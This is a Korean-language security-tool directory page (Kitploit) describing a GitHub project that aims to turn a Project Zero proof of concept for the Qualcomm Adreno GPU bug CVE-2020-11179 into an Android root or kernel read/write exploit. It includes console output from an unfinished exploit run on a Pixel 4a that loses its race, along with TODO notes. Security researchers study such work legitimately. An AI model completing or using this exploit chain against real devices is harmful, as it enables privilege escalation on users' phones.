Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2020-11179-Adreno-Qualcomm-GPU — CVE-2020-11179 Adreno-Qualcomm-GPU 버그의 제품화 노력, P0의 Ben Hawkes가 작성한 원본 poc | Kitploit
도구/GitHubGitHub/sparrow-labz/cve-2020-11179-adreno-qualcomm-gpu
Android SecurityPrivilege EscalationVulnerability AnalysisExploitationMobile SecurityHardware SecurityBinary Exploitation
GitHubsparrow-labz/cve-2020-11179-adreno-qualcomm-gpu

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2020-11179-Adreno-Qualcomm-GPU

CVE-2020-11179 Adreno-Qualcomm-GPU 버그의 제품화 노력, P0의 Ben Hawkes가 작성한 원본 poc

저장소 보기
73151년 전아직 검토되지 않음

My independent work from the poc created by P0 researcher Ben Hawkes
Original article: https://googleprojectzero.blogspot.com/2020/09/attacking-qualcomm-adreno-gpu.html

My goal is to convert his poc to C, and continue where he left off and turn the poc into either a root shell,
or a kernel r/w, and then change the system somehow to show kernel exec.

  • most likely, offset to ttbr0 is different on my test phone
  • needs to be calculated and debugged to find offset

sunfish:/data/local/tmp $ ./adrenaline 0xfc45c000
main: rptr is passed as 0xfc45c000
main: rptr base is 0xfc45c000
adrenaline: starting adrenaline
parent: starting adrenaline_parent
child: starting adrenaline_child
parent: kick off the wait command, and follow it with the correct amount of alignment nops
parent: send a message to our child process, which will kick off a GPU context switch
parent: wait for confirmation that the context switch is in before proceeding
child: recive 6 inf pipe buff, and kick off a GPU context switch
child: let the parent process know that the context switch has been dispatched
parent: fill up the rest of ringbuffer 0
parent: signal the wait command to progress to scratch buffer rptr corruption
parent: scratch buffer rptr corrupt with AAAA
00000000 41 41 41 41 00 00 00 00 00 00 00 00 00 00 00 00 |AAAA............|
parent: exploit payload buffer
00000000 41 41 41 41 42 42 42 42 00 00 00 00 00 00 00 00 |AAAABBBB........|
adrenaline race lost: context id: (15), rptr_base: (0xfc45c000) -- try again \

test device: pixel 4a
android 10 on build QD4A.2000317.027

TODO:

  • work on context switch and race condition
  • to achieve kernel code exec
도구 다운로드